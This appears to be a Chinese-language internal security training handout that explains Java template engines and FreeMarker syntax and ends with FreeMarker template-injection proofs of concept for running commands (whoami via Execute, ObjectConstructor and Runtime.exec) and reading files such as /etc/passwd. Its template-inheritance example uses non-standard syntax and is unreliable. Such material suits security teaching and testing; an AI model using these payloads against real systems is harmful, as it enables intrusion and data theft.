JAVA模板引擎

介绍

在 Java 开发中，**模板引擎**是一种将模板文件与数据结合生成最终文本（如 HTML、XML、JSON 等）的工具。它通过特定的语法标记（如`${variable}`）在模板中定义占位符，运行时将数据动态填充到这些位置，实现视图与业务逻辑的分离。

为什么要使用模板引擎

模板这个概念应该师傅们都有了解，其实就是一种样式，在传输数据不改变的情况下，使用不同模板样式来1达到不同前端效果，在，使用模板引擎是应为对比传统的HTMl，模板引擎上手更快，需要的逻辑判断代码少，模板引擎的本质是让 HTML 从 “死页面” 变成 “活容器”：后端数据像 “水”，模板像 “杯子”，引擎负责把水倒进杯子里，最终呈现出不同形状的 “水”（展示效果）。这种方式不仅提升了开发效率，更通过逻辑与展示的分离，让项目在迭代时更易维护 —— 就像换杯子（模板）比重新烧水（数据）简单得多

常见模板引擎

Thymeleaf 、FreeMarker 、JSP 、Velocity 、Mustache

Thymeleaf

- **自然模板**：HTML 文件可直接在浏览器预览，无需服务器支持。
- **属性式语法**：通过`th:*`属性嵌入表达式，不破坏 HTML 结构。
- **Spring 集成**：Spring 官方推荐，支持 Spring EL 表达式、表单绑定等。
- **安全性**：默认转义防止 XSS，支持国际化（i18n）。

FreeMarker

- **高性能**：编译型模板，适合高并发场景。
- **强大逻辑**：支持复杂表达式、自定义指令和模板继承。
- **非 Web 场景**：可生成邮件、配置文件等非 HTML 内容。
- **社区成熟**：与 Spring MVC、Struts 等框架深度集成。

JSP (JavaServer Pages)

- **Java 原生支持**：直接在 HTML 中嵌入 Java 代码（如`<% %>`）。
- **Servlet 集成**：与 Java Web 容器深度耦合。
- **历史悠久**：早期 Java Web 的主流选择，社区资源丰富。
- **维护成本高**：视图与逻辑强耦合，不利于分工协作。

Velocity

- **轻量级**：语法简单，学习成本低。
- **无逻辑哲学**：强调视图与逻辑分离，不支持复杂 Java 代码。
- **非 Web 友好**：可用于生成 SQL、配置文件等文本内容。

素物安全内部培训资料

- **性能中等**：解析速度快，但功能不如 FreeMarker 全面。

Mustache

- **无逻辑模板**：仅支持变量和简单循环，强制分离视图与逻辑。
- **跨语言**：同一模板可在 Java、JavaScript、Python 等多语言使用。
- **极简语法**：只有 `{{variable}}` 一种标签，无 `if/else` 或 `for`。
- **弱类型**：不支持复杂表达式，需前端预处理数据。

FreeMarker 基础语法教程

1. 基本概念

FreeMarker 是一款基于 Java 的模板引擎，主要用于生成 HTML 网页、电子邮件、配置文件等文本输出。它采用 MVC 模式，将业务逻辑与视图展示分离。

2. 模板文件结构

一个典型的 FreeMarker 模板文件 (.ftl) 包含以下部分：

```
<#-- 注释：不会输出到结果 -->
静态文本内容
${表达式}            <#-- 输出变量值 -->
<#指令>             <#-- 控制逻辑 -->
```

3. 基本语法

3.1 变量输出

```
${user.name}        <#-- 输出对象属性 -->
${user["name"]}     <#-- 同上，另一种写法 -->
${user.age + 5}     <#-- 支持表达式 -->
${user.bio!"默认值"} <#-- 默认值处理 -->
```

3.2 常用指令

条件判断：

```
<#if condition>
  ...
<#elseif condition2>
  ...
<#else>
  ...
</#if>
```

循环遍历：

```
<#list items as item>
  ${item_index}: ${item}  <#-- item_index 是内置计数器 -->
</#list>
```

某公安全内部培训资料

宏定义（函数）：

```
<#macro greet name>
  Hello ${name}!
</#macro>

<@greet name="Alice"/>  <#-- 调用宏 -->
```

3.3 内置函数

```
${user.name?upper_case}      <#-- 转大写 -->
${htmlContent?html}          <#-- HTML转义 -->
${longText?substring(0,10)}  <#-- 截取字符串 -->
${date?string("yyyy-MM-dd")} <#-- 日期格式化 -->
```

3.4 特殊变量

```
${.now}              <#-- 当前日期时间 -->
${.data_model}       <#-- 数据模型本身 -->
${.main}             <#-- 主模板名称 -->
${.current_template} <#-- 当前模板名称 -->
```

4. 高级特性

4.1 模板继承

父模板 (base.ftl):

```
<html>
<head><title><#block title>默认标题</#block></title></head>
<body>
  <#block content>默认内容</#block>
</body>
</html>
```

子模板:

```
<#import "base.ftl" as layout>
<@layout.main>
  <#block title>自定义标题</#block>
  <#block content>
    自定义内容...
  </#block>
</@layout.main>
```

4.2 命名空间

```
<#import "/lib/common.ftl" as com>
<@com.header />
```

菜狗安全内部培训资料

4.3 异常处理

```
<#attempt>
  可能出错的代码
<#recover>
  出错时执行的代码
</#attempt>
```

简单Demo

导入依赖

```
        <!-- FreeMarker -->
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-context-support</artifactId>
            <version>5.3.23</version>
        </dependency>
        <dependency>
            <groupId>org.freemarker</groupId>
            <artifactId>freemarker</artifactId>
            <version>2.3.31</version>
        </dependency>
```

配置freemarker

```
    <bean
class="org.springframework.web.servlet.view.freemarker.FreeMarkerViewResolver">
        <property name="cache" value="true"/>
        <property name="prefix" value=""/>
        <property name="suffix" value=".ftl"/>
        <property name="contentType" value="text/html; charset=UTF-8"/>
    </bean>
```

安全配置

2.3.17版本以后，官方版本提供了三种TemplateClassResolver对类进行解析：
1、UNRESTRICTED_RESOLVER：可以通过 `ClassUtil.forName(className)` 获取任何类。

2、SAFER_RESOLVER：不能加载 `freemarker.template.utility.JythonRuntime`、`freemarker.template.utility.Execute`、`freemarker.template.utility.ObjectConstructor` 这三个类。
3、ALLOWS_NOTHING_RESOLVER：不能解析任何类。
可通过`freemarker.core.Configurable#setNewBuiltinClassResolver`方法设置`TemplateClassResolver`，从而限制通过`new()`函数对`freemarker.template.utility.JythonRuntime`、`freemarker.template.utility.Execute`、`freemarker.template.utility.ObjectConstructor`这三个类的解析

菜狗安全内部培训资料

POC

命令执行 POC

1. 利用 `new` 内置函数执行命令

freemarker

```
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("whoami") }
```

2. 利用 `api` 内置函数执行命令

freemarker

```
<#assign uri=object?api.class.protectionDomain.codeSource.location.toURI()>
<#assign input=object?
api.class.getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime")
.invoke(null).exec("whoami")>
${ input?api.waitFor() }
```

3. 利用 ObjectConstructor 执行命令

freemarker

```
<#assign obj="freemarker.template.utility.ObjectConstructor"?new()>
<#assign runtime=obj("java.lang.Runtime")>
${ runtime.getRuntime().exec("whoami") }
```

文件读取 POC

1. 读取任意文件内容

freemarker

```
<#assign is=object?api.class.getResourceAsStream("/etc/passwd")>
<#assign br=object?api.class.forName("java.io.BufferedReader")?
api.getConstructor(object?
api.class.forName("java.io.InputStreamReader")).newInstance(is)>
<#list 1..10000 as i>
    <#assign line=br?api.readLine()!"">
    <#if line?has_content>${line}<#else><#break></#if>
</#list>
```

2. 使用 FileInputStream 读取文件

freemarker

柔狗安全内部培训资料

```
<#assign fis="java.io.FileInputStream"?new("/etc/passwd")>
<#assign isr="java.io.InputStreamReader"?new(fis)>
<#assign br="java.io.BufferedReader"?new(isr)>
<#assign line=br.readLine()>
${line}
```

3. 读取文件并输出全部内容

freemarker

```
<#assign obj="freemarker.template.utility.ObjectConstructor"?new()>
<#assign fr=obj("java.io.FileReader","/etc/passwd")>
<#assign br=obj("java.io.BufferedReader",fr)>
<#list 1..10000 as i>
    <#assign line=br.readLine()!"">
    <#if line?has_content>${line}<#else><#break></#if>
</#list>
```

实战案例

MRCMS

MCMS

菜狗安全内部培训资料